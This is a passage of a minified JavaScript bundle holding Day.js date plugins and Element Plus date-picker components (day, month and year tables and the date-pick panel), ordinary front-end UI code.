g?g.format("dd"):u(d,"weekdaysMin","weekdays",2)},weekdaysShort:function(g){return g?g.format("ddd"):u(d,"weekdaysShort","weekdays",3)},longDateFormat:function(g){return f(d.$locale(),g)},meridiem:this.$locale().meridiem,ordinal:this.$locale().ordinal}};s.localeData=function(){return m.bind(this)()},o.localeData=function(){var d=i();return{firstDayOfWeek:function(){return d.weekStart||0},weekdays:function(){return o.weekdays()},weekdaysShort:function(){return o.weekdaysShort()},weekdaysMin:function(){return o.weekdaysMin()},months:function(){return o.months()},monthsShort:function(){return o.monthsShort()},longDateFormat:function(g){return f(d,g)},meridiem:d.meridiem,ordinal:d.ordinal}},o.months=function(){return u(i(),"months")},o.monthsShort=function(){return u(i(),"monthsShort","months",3)},o.weekdays=function(d){return u(i(),"weekdays",null,null,d)},o.weekdaysShort=function(d){return u(i(),"weekdaysShort","weekdays",3,d)},o.weekdaysMin=function(d){return u(i(),"weekdaysMin","weekdays",2,d)}}})})(wo);var vd=wo.exports;const hd=Tt(vd);var ko={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){return function(n,a){var o=a.prototype,s=o.format;o.format=function(l){var u=this,i=this.$locale();if(!this.isValid())return s.bind(this)(l);var f=this.$utils(),m=(l||"YYYY-MM-DDTHH:mm:ssZ").replace(/\[([^\]]+)]|Q|wo|ww|w|WW|W|zzz|z|gggg|GGGG|Do|X|x|k{1,2}|S/g,function(d){switch(d){case"Q":return Math.ceil((u.$M+1)/3);case"Do":return i.ordinal(u.$D);case"gggg":return u.weekYear();case"GGGG":return u.isoWeekYear();case"wo":return i.ordinal(u.week(),"W");case"w":case"ww":return f.s(u.week(),d==="w"?1:2,"0");case"W":case"WW":return f.s(u.isoWeek(),d==="W"?1:2,"0");case"k":case"kk":return f.s(String(u.$H===0?24:u.$H),d==="k"?1:2,"0");case"X":return Math.floor(u.$d.getTime()/1e3);case"x":return u.$d.getTime();case"z":return"["+u.offsetName()+"]";case"zzz":return"["+u.offsetName("long")+"]";default:return d}});return s.bind(this)(m)}}})})(ko);var md=ko.exports;const gd=Tt(md);var So={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){var n="week",a="year";return function(o,s,l){var u=s.prototype;u.week=function(i){if(i===void 0&&(i=null),i!==null)return this.add(7*(i-this.week()),"day");var f=this.$locale().yearStart||1;if(this.month()===11&&this.date()>25){var m=l(this).startOf(a).add(1,a).date(f),d=l(this).endOf(n);if(m.isBefore(d))return 1}var g=l(this).startOf(a).date(f).startOf(n).subtract(1,"millisecond"),h=this.diff(g,n,!0);return h<0?l(this).startOf("week").week():Math.ceil(h)},u.weeks=function(i){return i===void 0&&(i=null),this.week(i)}}})})(So);var bd=So.exports;const yd=Tt(bd);var _o={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){return function(n,a){a.prototype.weekYear=function(){var o=this.month(),s=this.week(),l=this.year();return s===1&&o===11?l+1:o===0&&s>=52?l-1:l}}})})(_o);var wd=_o.exports;const kd=Tt(wd);var Co={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){return function(n,a,o){a.prototype.dayOfYear=function(s){var l=Math.round((o(this).startOf("day")-o(this).startOf("year"))/864e5)+1;return s==null?l:this.add(s-l,"day")}}})})(Co);var Sd=Co.exports;const _d=Tt(Sd);var xo={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){return function(n,a){a.prototype.isSameOrAfter=function(o,s){return this.isSame(o,s)||this.isAfter(o,s)}}})})(xo);var Cd=xo.exports;const xd=Tt(Cd);var Mo={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){return function(n,a){a.prototype.isSameOrBefore=function(o,s){return this.isSame(o,s)||this.isBefore(o,s)}}})})(Mo);var Md=Mo.exports;const Td=Tt(Md),Oa=Symbol(),Dd=ye({...bo,type:{type:ae(String),default:"date"}}),Pd=["date","dates","year","month","week","range"],Ea=ye({disabledDate:{type:ae(Function)},date:{type:ae(Object),required:!0},minDate:{type:ae(Object)},maxDate:{type:ae(Object)},parsedValue:{type:ae([Object,Array])},rangeState:{type:ae(Object),default:()=>({endDate:null,selecting:!1})}}),To=ye({type:{type:ae(String),required:!0,values:Ul},dateFormat:String,timeFormat:String}),Do=ye({unlinkPanels:Boolean,parsedValue:{type:ae(Array)}}),Po=e=>({type:String,values:Pd,default:e}),Od=ye({...To,parsedValue:{type:ae([Object,Array])},visible:{type:Boolean},format:{type:String,default:""}}),Ed=ye({...Ea,cellClassName:{type:ae(Function)},showWeekNumber:Boolean,selectionMode:Po("date")}),$d=["changerange","pick","select"],ra=e=>{if(!Fe(e))return!1;const[t,n]=e;return se.isDayjs(t)&&se.isDayjs(n)&&t.isSameOrBefore(n)},Oo=(e,{lang:t,unit:n,unlinkPanels:a})=>{let o;if(Fe(e)){let[s,l]=e.map(u=>se(u).locale(t));return a||(l=s.add(1,n)),[s,l]}else e?o=se(e):o=se();return o=o.locale(t),[o,o.add(1,n)]},Ad=(e,t,{columnIndexOffset:n,startDate:a,nextEndDate:o,now:s,unit:l,relativeDateGetter:u,setCellMetadata:i,setRowMetadata:f})=>{for(let m=0;m["normal","today"].includes(e),Rd=(e,t)=>{const{lang:n}=pt(),a=j(),o=j(),s=j(),l=j(),u=j([[],[],[],[],[],[]]);let i=!1;const f=e.date.$locale().weekStart||7,m=e.date.locale("en").localeData().weekdaysShort().map(p=>p.toLowerCase()),d=T(()=>f>3?7-f:-f),g=T(()=>{const p=e.date.startOf("month");return p.subtract(p.day()||7,"day")}),h=T(()=>m.concat(m).slice(f,f+7)),v=T(()=>Jo(r(x)).some(p=>p.isCurrent)),c=T(()=>{const p=e.date.startOf("month"),S=p.day()||7,E=p.daysInMonth(),I=p.subtract(1,"month").daysInMonth();return{startOfMonthDay:S,dateCountOfMonth:E,dateCountOfLastMonth:I}}),k=T(()=>e.selectionMode==="dates"?Bt(e.parsedValue):[]),y=(p,{count:S,rowIndex:E,columnIndex:I})=>{const{startOfMonthDay:G,dateCountOfMonth:te,dateCountOfLastMonth:oe}=r(c),pe=r(d);if(E>=0&&E<=1){const ve=G+pe<0?7+G+pe:G+pe;if(I+E*7>=ve)return p.text=S,!0;p.text=oe-(ve-I%7)+1+E*7,p.type="prev-month"}else return S<=te?p.text=S:(p.text=S-te,p.type="next-month"),!0;return!1},w=(p,{columnIndex:S,rowIndex:E},I)=>{const{disabledDate:G,cellClassName:te}=e,oe=r(k),pe=y(p,{count:I,rowIndex:E,columnIndex:S}),ve=p.dayjs.toDate();return p.selected=oe.find(me=>me.valueOf()===p.dayjs.valueOf()),p.isSelected=!!p.selected,p.isCurrent=P(p),p.disabled=G==null?void 0:G(ve),p.customClass=te==null?void 0:te(ve),pe},N=p=>{if(e.selectionMode==="week"){const[S,E]=e.showWeekNumber?[1,7]:[0,6],I=M(p[S+1]);p[S].inRange=I,p[S].start=I,p[E].inRange=I,p[E].end=I}},x=T(()=>{const{minDate:p,maxDate:S,rangeState:E,showWeekNumber:I}=e,G=r(d),te=r(u),oe="day";let pe=1;if(I)for(let ve=0;ve<6;ve++)te[ve][0]||(te[ve][0]={type:"week",text:r(g).add(ve*7+1,oe).week()});return Ad({row:6,column:7},te,{startDate:p,columnIndexOffset:I?1:0,nextEndDate:E.endDate||S||E.selecting&&p||null,now:se().locale(r(n)).startOf(oe),unit:oe,relativeDateGetter:ve=>r(g).add(ve-G,oe),setCellMetadata:(...ve)=>{w(...ve,pe)&&(pe+=1)},setRowMetadata:N}),te});fe(()=>e.date,async()=>{var p;(p=r(a))!=null&&p.contains(document.activeElement)&&(await Ee(),await R())});const R=async()=>{var p;return(p=r(o))==null?void 0:p.focus()},P=p=>e.selectionMode==="date"&&oa(p.type)&&_(p,e.parsedValue),_=(p,S)=>S?se(S).locale(r(n)).isSame(e.date.date(Number(p.text)),"day"):!1,O=(p,S)=>{const E=p*7+(S-(e.showWeekNumber?1:0))-r(d);return r(g).add(E,"day")},H=p=>{var S;if(!e.rangeState.selecting)return;let E=p.target;if(E.tagName==="SPAN"&&(E=(S=E.parentNode)==null?void 0:S.parentNode),E.tagName==="DIV"&&(E=E.parentNode),E.tagName!=="TD")return;const I=E.parentNode.rowIndex-1,G=E.cellIndex;r(x)[I][G].disabled||(I!==r(s)||G!==r(l))&&(s.value=I,l.value=G,t("changerange",{selecting:!0,endDate:O(I,G)}))},V=p=>!r(v)&&(p==null?void 0:p.text)===1&&p.type==="normal"||p.isCurrent,B=p=>{i||r(v)||e.selectionMode!=="date"||C(p,!0)},J=p=>{p.target.closest("td")&&(i=!0)},U=p=>{p.target.closest("td")&&(i=!1)},z=p=>{!e.rangeState.selecting||!e.minDate?(t("pick",{minDate:p,maxDate:null}),t("select",!0)):(p>=e.minDate?t("pick",{minDate:e.minDate,maxDate:p}):t("pick",{minDate:p,maxDate:e.minDate}),t("select",!1))},L=p=>{const S=p.week(),E=`${p.year()}w${S}`;t("pick",{year:p.year(),week:S,value:E,date:p.startOf("week")})},F=(p,S)=>{const E=S?Bt(e.parsedValue).filter(I=>(I==null?void 0:I.valueOf())!==p.valueOf()):Bt(e.parsedValue).concat([p]);t("pick",E)},C=(p,S=!1)=>{const E=p.target.closest("td");if(!E)return;const I=E.parentNode.rowIndex-1,G=E.cellIndex,te=r(x)[I][G];if(te.disabled||te.type==="week")return;const oe=O(I,G);switch(e.selectionMode){case"range":{z(oe);break}case"date":{t("pick",oe,S);break}case"week":{L(oe);break}case"dates":{F(oe,!!te.selected);break}}},M=p=>{if(e.selectionMode!=="week")return!1;let S=e.date.startOf("day");if(p.type==="prev-month"&&(S=S.subtract(1,"month")),p.type==="next-month"&&(S=S.add(1,"month")),S=S.date(Number.parseInt(p.text,10)),e.parsedValue&&!Array.isArray(e.parsedValue)){const E=(e.parsedValue.day()-f+7)%7-1;return e.parsedValue.subtract(E,"day").isSame(S,"day")}return!1};return{WEEKS:h,rows:x,tbodyRef:a,currentCellRef:o,focus:R,isCurrent:P,isWeekActive:M,isSelectedCell:V,handlePickDate:C,handleMouseUp:U,handleMouseDown:J,handleMouseMove:H,handleFocus:B}},Id=(e,{isCurrent:t,isWeekActive:n})=>{const a=Te("date-table"),{t:o}=pt(),s=T(()=>[a.b(),{"is-week-mode":e.selectionMode==="week"}]),l=T(()=>o("el.datepicker.dateTablePrompt")),u=T(()=>o("el.datepicker.week"));return{tableKls:s,tableLabel:l,weekLabel:u,getCellClasses:m=>{const d=[];return oa(m.type)&&!m.disabled?(d.push("available"),m.type==="today"&&d.push("today")):d.push(m.type),t(m)&&d.push("current"),m.inRange&&(oa(m.type)||e.selectionMode==="week")&&(d.push("in-range"),m.start&&d.push("start-date"),m.end&&d.push("end-date")),m.disabled&&d.push("disabled"),m.selected&&d.push("selected"),m.customClass&&d.push(m.customClass),d.join(" ")},getRowKls:m=>[a.e("row"),{current:n(m)}],t:o}},Fd=ye({cell:{type:ae(Object)}});var Nd=re({name:"ElDatePickerCell",props:Fd,setup(e){const t=Te("date-table-cell"),{slots:n}=Ce(Oa);return()=>{const{cell:a}=e;return $e(n,"default",{...a},()=>[ee("div",{class:t.b()},[ee("span",{class:t.e("text")},[a==null?void 0:a.text])])])}}});const Ld=["aria-label"],Vd={key:0,scope:"col"},Bd=["aria-label"],Hd=["aria-current","aria-selected","tabindex"],zd=re({__name:"basic-date-table",props:Ed,emits:$d,setup(e,{expose:t,emit:n}){const a=e,{WEEKS:o,rows:s,tbodyRef:l,currentCellRef:u,focus:i,isCurrent:f,isWeekActive:m,isSelectedCell:d,handlePickDate:g,handleMouseUp:h,handleMouseDown:v,handleMouseMove:c,handleFocus:k}=Rd(a,n),{tableLabel:y,tableKls:w,weekLabel:N,getCellClasses:x,getRowKls:R,t:P}=Id(a,{isCurrent:f,isWeekActive:m});return t({focus:i}),(_,O)=>(D(),K("table",{"aria-label":r(y),class:A(r(w)),cellspacing:"0",cellpadding:"0",role:"grid",onClick:O[1]||(O[1]=(...H)=>r(g)&&r(g)(...H)),onMousemove:O[2]||(O[2]=(...H)=>r(c)&&r(c)(...H)),onMousedown:O[3]||(O[3]=et((...H)=>r(v)&&r(v)(...H),["prevent"])),onMouseup:O[4]||(O[4]=(...H)=>r(h)&&r(h)(...H))},[q("tbody",{ref_key:"tbodyRef",ref:l},[q("tr",null,[_.showWeekNumber?(D(),K("th",Vd,he(r(N)),1)):ne("v-if",!0),(D(!0),K(_e,null,We(r(o),(H,V)=>(D(),K("th",{key:V,"aria-label":r(P)("el.datepicker.weeksFull."+H),scope:"col"},he(r(P)("el.datepicker.weeks."+H)),9,Bd))),128))]),(D(!0),K(_e,null,We(r(s),(H,V)=>(D(),K("tr",{key:V,class:A(r(R)(H[1]))},[(D(!0),K(_e,null,We(H,(B,J)=>(D(),K("td",{key:`${V}.${J}`,ref_for:!0,ref:U=>r(d)(B)&&(u.value=U),class:A(r(x)(B)),"aria-current":B.isCurrent?"date":void 0,"aria-selected":B.isCurrent,tabindex:r(d)(B)?0:-1,onFocus:O[0]||(O[0]=(...U)=>r(k)&&r(k)(...U))},[ee(r(Nd),{cell:B},null,8,["cell"])],42,Hd))),128))],2))),128))],512)],42,Ld))}});var sa=Ae(zd,[["__file","basic-date-table.vue"]]);const Yd=ye({...Ea,selectionMode:Po("month")}),jd=["aria-label"],Wd=["aria-selected","aria-label","tabindex","onKeydown"],Kd={class:"cell"},Ud=re({__name:"basic-month-table",props:Yd,emits:["changerange","pick","select"],setup(e,{expose:t,emit:n}){const a=e,o=(x,R,P)=>{const _=se().locale(P).startOf("month").month(R).year(x),O=_.daysInMonth();return vo(O).map(H=>_.add(H,"day").toDate())},s=Te("month-table"),{t:l,lang:u}=pt(),i=j(),f=j(),m=j(a.date.locale("en").localeData().monthsShort().map(x=>x.toLowerCase())),d=j([[],[],[]]),g=j(),h=j(),v=T(()=>{var x,R;const P=d.value,_=se().locale(u.value).startOf("month");for(let O=0;O<3;O++){const H=P[O];for(let V=0;V<4;V++){const B=H[V]||(H[V]={row:O,column:V,type:"normal",inRange:!1,start:!1,end:!1,text:-1,disabled:!1});B.type="normal";const J=O*4+V,U=a.date.startOf("year").month(J),z=a.rangeState.endDate||a.maxDate||a.rangeState.selecting&&a.minDate||null;B.inRange=!!(a.minDate&&U.isSameOrAfter(a.minDate,"month")&&z&&U.isSameOrBefore(z,"month"))||!!(a.minDate&&U.isSameOrBefore(a.minDate,"month")&&z&&U.isSameOrAfter(z,"month")),(x=a.minDate)!=null&&x.isSameOrAfter(z)?(B.start=!!(z&&U.isSame(z,"month")),B.end=a.minDate&&U.isSame(a.minDate,"month")):(B.start=!!(a.minDate&&U.isSame(a.minDate,"month")),B.end=!!(z&&U.isSame(z,"month"))),_.isSame(U)&&(B.type="today"),B.text=J,B.disabled=((R=a.disabledDate)==null?void 0:R.call(a,U.toDate()))||!1}}return P}),c=()=>{var x;(x=f.value)==null||x.focus()},k=x=>{const R={},P=a.date.year(),_=new Date,O=x.text;return R.disabled=a.disabledDate?o(P,O,u.value).every(a.disabledDate):!1,R.current=Bt(a.parsedValue).findIndex(H=>se.isDayjs(H)&&H.year()===P&&H.month()===O)>=0,R.today=_.getFullYear()===P&&_.getMonth()===O,x.inRange&&(R["in-range"]=!0,x.start&&(R["start-date"]=!0),x.end&&(R["end-date"]=!0)),R},y=x=>{const R=a.date.year(),P=x.text;return Bt(a.date).findIndex(_=>_.year()===R&&_.month()===P)>=0},w=x=>{var R;if(!a.rangeState.selecting)return;let P=x.target;if(P.tagName==="SPAN"&&(P=(R=P.parentNode)==null?void 0:R.parentNode),P.tagName==="DIV"&&(P=P.parentNode),P.tagName!=="TD")return;const _=P.parentNode.rowIndex,O=P.cellIndex;v.value[_][O].disabled||(_!==g.value||O!==h.value)&&(g.value=_,h.value=O,n("changerange",{selecting:!0,endDate:a.date.startOf("year").month(_*4+O)}))},N=x=>{var R;const P=(R=x.target)==null?void 0:R.closest("td");if((P==null?void 0:P.tagName)!=="TD"||Yr(P,"disabled"))return;const _=P.cellIndex,H=P.parentNode.rowIndex*4+_,V=a.date.startOf("year").month(H);a.selectionMode==="range"?a.rangeState.selecting?(a.minDate&&V>=a.minDate?n("pick",{minDate:a.minDate,maxDate:V}):n("pick",{minDate:V,maxDate:a.minDate}),n("select",!1)):(n("pick",{minDate:V,maxDate:null}),n("select",!0)):n("pick",H)};return fe(()=>a.date,async()=>{var x,R;(x=i.value)!=null&&x.contains(document.activeElement)&&(await Ee(),(R=f.value)==null||R.focus())}),t({focus:c}),(x,R)=>(D(),K("table",{role:"grid","aria-label":r(l)("el.datepicker.monthTablePrompt"),class:A(r(s).b()),onClick:N,onMousemove:w},[q("tbody",{ref_key:"tbodyRef",ref:i},[(D(!0),K(_e,null,We(r(v),(P,_)=>(D(),K("tr",{key:_},[(D(!0),K(_e,null,We(P,(O,H)=>(D(),K("td",{key:H,ref_for:!0,ref:V=>y(O)&&(f.value=V),class:A(k(O)),"aria-selected":`${y(O)}`,"aria-label":r(l)(`el.datepicker.month${+O.text+1}`),tabindex:y(O)?0:-1,onKeydown:[Gt(et(N,["prevent","stop"]),["space"]),Gt(et(N,["prevent","stop"]),["enter"])]},[q("div",null,[q("span",Kd,he(r(l)("el.datepicker.months."+m.value[O.text])),1)])],42,Wd))),128))]))),128))],512)],42,jd))}});var la=Ae(Ud,[["__file","basic-month-table.vue"]]);const{date:qd,disabledDate:Gd,parsedValue:Zd}=Ea,Jd=ye({date:qd,disabledDate:Gd,parsedValue:Zd}),Xd=["aria-label"],Qd=["aria-selected","tabindex","onKeydown"],ef={class:"cell"},tf={key:1},nf=re({__name:"basic-year-table",props:Jd,emits:["pick"],setup(e,{expose:t,emit:n}){const a=e,o=(c,k)=>{const y=se(String(c)).locale(k).startOf("year"),N=y.endOf("year").dayOfYear();return vo(N).map(x=>y.add(x,"day").toDate())},s=Te("year-table"),{t:l,lang:u}=pt(),i=j(),f=j(),m=T(()=>Math.floor(a.date.year()/10)*10),d=()=>{var c;(c=f.value)==null||c.focus()},g=c=>{const k={},y=se().locale(u.value);return k.disabled=a.disabledDate?o(c,u.value).every(a.disabledDate):!1,k.current=Bt(a.parsedValue).findIndex(w=>w.year()===c)>=0,k.today=y.year()===c,k},h=c=>c===m.value&&a.date.year()m.value+9||Bt(a.date).findIndex(k=>k.year()===c)>=0,v=c=>{const y=c.target.closest("td");if(y&&y.textContent){if(Yr(y,"disabled"))return;const w=y.textContent||y.innerText;n("pick",Number(w))}};return fe(()=>a.date,async()=>{var c,k;(c=i.value)!=null&&c.contains(document.activeElement)&&(await Ee(),(k=f.value)==null||k.focus())}),t({focus:d}),(c,k)=>(D(),K("table",{role:"grid","aria-label":r(l)("el.datepicker.yearTablePrompt"),class:A(r(s).b()),onClick:v},[q("tbody",{ref_key:"tbodyRef",ref:i},[(D(),K(_e,null,We(3,(y,w)=>q("tr",{key:w},[(D(),K(_e,null,We(4,(N,x)=>(D(),K(_e,{key:w+"_"+x},[w*4+x<10?(D(),K("td",{key:0,ref_for:!0,ref:R=>h(r(m)+w*4+x)&&(f.value=R),class:A(["available",g(r(m)+w*4+x)]),"aria-selected":`${h(r(m)+w*4+x)}`,tabindex:h(r(m)+w*4+x)?0:-1,onKeydown:[Gt(et(v,["prevent","stop"]),["space"]),Gt(et(v,["prevent","stop"]),["enter"])]},[q("span",ef,he(r(m)+w*4+x),1)],42,Qd)):(D(),K("td",tf))],64))),64))])),64))],512)],10,Xd))}});var af=Ae(nf,[["__file","basic-year-table.vue"]]);const rf=["onClick"],of=["aria-label"],sf=["aria-label"],lf=["aria-label"],uf=["aria-label"],cf=re({__name:"panel-date-pick",props:Od,emits:["pick","set-picker-option","panel-change"],setup(e,{emit:t}){const n=e,a=($,X,Y)=>!0,o=Te("picker-panel"),s=Te("date-picker"),l=En(),u=$n(),{t:i,lang:f}=pt(),m=Ce("EP_PICKER_BASE"),d=Ce(Nn),{shortcuts:g,disabledDate:h,cellClassName:v,defaultTime:c}=m.props,k=Ve(m.props,"defaultValue"),y=j(),w=j(se().locale(f.value)),N=j(!1);let x=!1;const R=T(()=>se(c).locale(f.value)),P=T(()=>w.value.month()),_=T(()=>w.value.year()),O=j([]),H=j(null),V=j(null),B=$=>O.value.length>0?a($,O.value,n.format||"HH:mm:ss"):!0,J=$=>c&&!Ie.value&&!N.value&&!x?R.value.year($.year()).month($.month()).date($.date()):pe.value?$.millisecond(0):$.startOf("day"),U=($,...X)=>{if(!$)t("pick",$,...X);else if(Fe($)){const Y=$.map(J);t("pick",Y,...X)}else t("pick",J($),...X);H.value=null,V.value=null,N.value=!1,x=!1},z=async($,X)=>{if(S.value==="date"){$=$;let Y=n.parsedValue?n.parsedValue.year($.year()).month($.month()).date($.date()):$;B(Y)||(Y=O.value[0][0].year($.year()).month($.month()).date($.date())),w.value=Y,U(Y,pe.value||X),n.type==="datetime"&&(await Ee(),we())}else S.value==="week"?U($.date):S.value==="dates"&&U($,!0)},L=$=>{const X=$?"add":"subtract";w.value=w.value[X](1,"month"),Dt("month")},F=$=>{const X=w.value,Y=$?"add":"subtract";w.value=C.value==="year"?X[Y](10,"year"):X[Y](1,"year"),Dt("year")},C=j("date"),M=T(()=>{const $=i("el.datepicker.year");if(C.value==="year"){const X=Math.floor(_.value/10)*10;return $?`${X} ${$} - ${X+9} ${$}`:`${X} - ${X+9}`}return`${_.value} ${$}`}),p=$=>{const X=gt($.value)?$.value():$.value;if(X){x=!0,U(se(X).locale(f.value));return}$.onClick&&$.onClick({attrs:l,slots:u,emit:t})},S=T(()=>{const{type:$}=n;return["week","month","year","dates"].includes($)?$:"date"}),E=T(()=>S.value==="date"?C.value:S.value),I=T(()=>!!g.length),G=async $=>{w.value=w.value.startOf("month").month($),S.value==="month"?U(w.value,!1):(C.value="date",["month","year","date","week"].includes(S.value)&&(U(w.value,!0),await Ee(),we())),Dt("month")},te=async $=>{S.value==="year"?(w.value=w.value.startOf("year").year($),U(w.value,!1)):(w.value=w.value.year($),C.value="month",["month","year","date","week"].includes(S.value)&&(U(w.value,!0),await Ee(),we())),Dt("year")},oe=async $=>{C.value=$,await Ee(),we()},pe=T(()=>n.type==="datetime"||n.type==="datetimerange"),ve=T(()=>pe.value||S.value==="dates"),me=T(()=>h?n.parsedValue?Fe(n.parsedValue)?h(n.parsedValue[0].toDate()):h(n.parsedValue.toDate()):!0:!1),xe=()=>{if(S.value==="dates")U(n.parsedValue);else{let $=n.parsedValue;if(!$){const X=se(c).locale(f.value),Y=ue();$=X.year(Y.year()).month(Y.month()).date(Y.date())}w.value=$,U($)}},Se=T(()=>h?h(se().locale(f.value).toDate()):!1),be=()=>{const X=se().locale(f.value).toDate();N.value=!0,(!h||!h(X))&&B(X)&&(w.value=se().locale(f.value),U(w.value))},ge=T(()=>n.timeFormat||mo(n.format)),De=T(()=>n.dateFormat||ho(n.format)),Ie=T(()=>{if(V.value)return V.value;if(!(!n.parsedValue&&!k.value))return(n.parsedValue||w.value).format(ge.value)}),Ne=T(()=>{if(H.value)return H.value;if(!(!n.parsedValue&&!k.value))return(n.parsedValue||w.value).format(De.value)}),Re=j(!1),Ge=()=>{Re.value=!0},lt=()=>{Re.value=!1},Le=$=>({hour:$.hour(),minute:$.minute(),second:$.second(),year:$.year(),month:$.month(),date:$.date()}),ie=($,X,Y)=>{const{hour:Q,minute:b,second:Z}=Le($),ce=n.parsedValue?n.parsedValue.hour(Q).minute(b).second(Z):$;w.value=ce,U(w.value,!0),Y||(Re.value=X)},Ye=$=>{const X=se($,ge.value).locale(f.value);if(X.isValid()&&B(X)){const{year:Y,month:Q,date:b}=Le(w.value);w.value=X.year(Y).month(Q).date(b),V.value=null,Re.value=!1,U(w.value,!0)}},je=$=>{const X=se($,De.value).locale(f.value);if(X.isValid()){if(h&&h(X.toDate()))return;const{hour:Y,minute:Q,second:b}=Le(w.value);w.value=X.hour(Y).minute(Q).second(b),H.value=null,U(w.value,!0)}},Ze=$=>se.isDayjs($)&&$.isValid()&&(h?!h($.toDate()):!0),He=$=>S.value==="dates"?$.map(X=>X.format(n.format)):$.format(n.format),W=$=>se($,n.format).locale(f.value),ue=()=>{const $=se(k.value).locale(f.value);if(!k.value){const X=R.value;return se().hour(X.hour()).minute(X.minute()).second(X.second()).locale(f.value)}return $},we=async()=>{var $;["week","month","year","date"].includes(S.value)&&(($=y.value)==null||$.focus(),S.value==="week"&&vt(Oe.down))},Je=$=>{const{code:X}=$;[Oe.up,Oe.down,Oe.left,Oe.right,Oe.home,Oe.end,Oe.pageUp,Oe.pageDown].includes(X)&&(vt(X),$.stopPropagation(),$.preventDefault()),[Oe.enter,Oe.space,Oe.numpadEnter].includes(X)&&H.value===null&&V.value===null&&($.preventDefault(),U(w.value,!1))},vt=$=>{var X;const{up:Y,down:Q,left:b,right:Z,home:ce,end:Pe,pageUp:it,pageDown:$o}=Oe,Ao={year:{[Y]:-4,[Q]:4,[b]:-1,[Z]:1,offset:(Me,ht)=>Me.setFullYear(Me.getFullYear()+ht)},month:{[Y]:-4,[Q]:4,[b]:-1,[Z]:1,offset:(Me,ht)=>Me.setMonth(Me.getMonth()+ht)},week:{[Y]:-1,[Q]:1,[b]:-1,[Z]:1,offset:(Me,ht)=>Me.setDate(Me.getDate()+ht*7)},date:{[Y]:-7,[Q]:7,[b]:-1,[Z]:1,[ce]:Me=>-Me.getDay(),[Pe]:Me=>-Me.getDay()+6,[it]:Me=>-new Date(Me.getFullYear(),Me.getMonth(),0).getDate(),[$o]:Me=>new Date(Me.getFullYear(),Me.getMonth()+1,0).getDate(),offset:(Me,ht)=>Me.setDate(Me.getDate()+ht)}},tn=w.value.toDate();for(;Math.abs(w.value.diff(tn,"year",!0))<1;){const Me=Ao[E.value];if(!Me)return;if(Me.offset(tn,gt(Me[$])?Me[$](tn):(X=Me[$])!=null?X:0),h&&h(tn))break;const ht=se(tn).locale(f.value);w.value=ht,t("pick",ht,!0);break}},Dt=$=>{t("panel-change",w.value.toDate(),$,C.value)};return fe(()=>S.value,$=>{if(["month","year"].includes($)){C.value=$;return}C.value="date"},{immediate:!0}),fe(()=>C.value,()=>{d==null||d.updatePopper()}),fe(()=>k.value,$=>{$&&(w.value=ue())},{immediate:!0}),fe(()=>n.parsedValue,$=>{if($){if(S.value==="dates"||Array.isArray($))return;w.value=$}else w.value=ue()},{immediate:!0}),t("set-picker-option",["isValidValue",Ze]),t("set-picker-option",["formatToString",He]),t("set-picker-option",["parseUserInput",W]),t("set-picker-option",["handleFocusPicker",we]),($,X)=>(D(),K("div",{class:A([r(o).b(),r(s).b(),{"has-sidebar":$.$slots.sidebar||r(I),"has-time":r(pe)}])},[q("div",{class:A(r(o).e("body-wrapper"))},[$e($.$slots,"sidebar",{class:A(r(o).e("sidebar"))}),r(I)?(D(),K("div",{key:0,class:A(r(o).e("sidebar"))},[(D(!0),K(_e,null,We(r(g),(Y,Q)=>(D(),K("button",{key:Q,type:"button",class:A(r(o).e("shortcut")),onClick:b=>p(Y)},he(Y.text),11,rf))),128))],2)):ne("v-if",!0),q("div",{class:A(r(o).e("body"))},[r(pe)?(D(),K("div",{key:0,class:A(r(s).e("time-header"))},[q("span",{class:A(r(s).e("editor-wrap"))},[ee(r(Ft),{placeholder:r(i)("el.datepicker.selectDate"),"model-value":r(Ne),size:"small","validate-event":!1,onInput:X[0]||(X[0]=Y=>H.value=Y),onChange:je},null,8,["placeholder","model-value"])],2),ze((D(),K("span",{class:A(r(s).e("editor-wrap"))},[ee(r(Ft),{placeholder:r(i)("el.datepicker.selectTime"),"model-value":r(Ie),size:"small","validate-event":!1,onFocus:Ge,onInput:X[1]||(X[1]=Y=>V.value=Y),onChange:Ye},null,8,["placeholder","model-value"]),ee(r(aa),{visible:Re.value,format:r(ge),"parsed-value":w.value,onPick:ie},null,8,["visible","format","parsed-value"])],2)),[[r(na),lt]])],2)):ne("v-if",!0),ze(q("div",{class:A([r(s).e("header"),(C.value==="year"||C.value==="month")&&r(s).e("header--bordered")])},[q("span",{class:A(r(s).e("prev-btn"))},[q("button",{type:"button","aria-label":r(i)("el.datepicker.prevYear"),class:A(["d-arrow-left",r(o).e("icon-btn")]),onClick:X[2]||(X[2]=Y=>F(!1))},[ee(r(ke),null,{default:le(()=>[ee(r(dn))]),_:1})],10,of),ze(q("button",{type:"button","aria-label":r(i)("el.datepicker.prevMonth"),class:A([r(o).e("icon-btn"),"arrow-left"]),onClick:X[3]||(X[3]=Y=>L(!1))},[ee(r(ke),null,{default:le(()=>[ee(r(Xn))]),_:1})],10,sf),[[_t,C.value==="date"]])],2),q("span",{role:"button",class:A(r(s).e("header-label")),"aria-live":"polite",tabindex:"0",onKeydown:X[4]||(X[4]=Gt(Y=>oe("year"),["enter"])),onClick:X[5]||(X[5]=Y=>oe("year"))},he(r(M)),35),ze(q("span",{role:"button","aria-live":"polite",tabindex:"0",class:A([r(s).e("header-label"),{active:C.value==="month"}]),onKeydown:X[6]||(X[6]=Gt(Y=>oe("month"),["enter"])),onClick:X[7]||(X[7]=Y=>oe("month"))},he(r(i)(`el.datepicker.month${r(P)+1}`)),35),[[_t,C.value==="date"]]),q("span",{class:A(r(s).e("next-btn"))},[ze(q("button",{type:"button","aria-label":r(i)("el.datepicker.nextMonth"),class:A([r(o).e("icon-btn"),"arrow-right"]),onClick:X[8]||(X[8]=Y=>L(!0))},[ee(r(ke),null,{default:le(()=>[ee(r(Cn))]),_:1})],10,lf),[[_t,C.value==="date"]]),q("button",{type:"button","aria-label":r(i)("el.datepicker.nextYear"),class:A([r(o).e("icon-btn"),"d-arrow-right"]),onClick:X[9]||(X[9]=Y=>F(!0))},[ee(r(ke),null,{default:le(()=>[ee(r(fn))]),_:1})],10,uf)],2)],2),[[_t,C.value!=="time"]]),q("div",{class:A(r(o).e("content")),o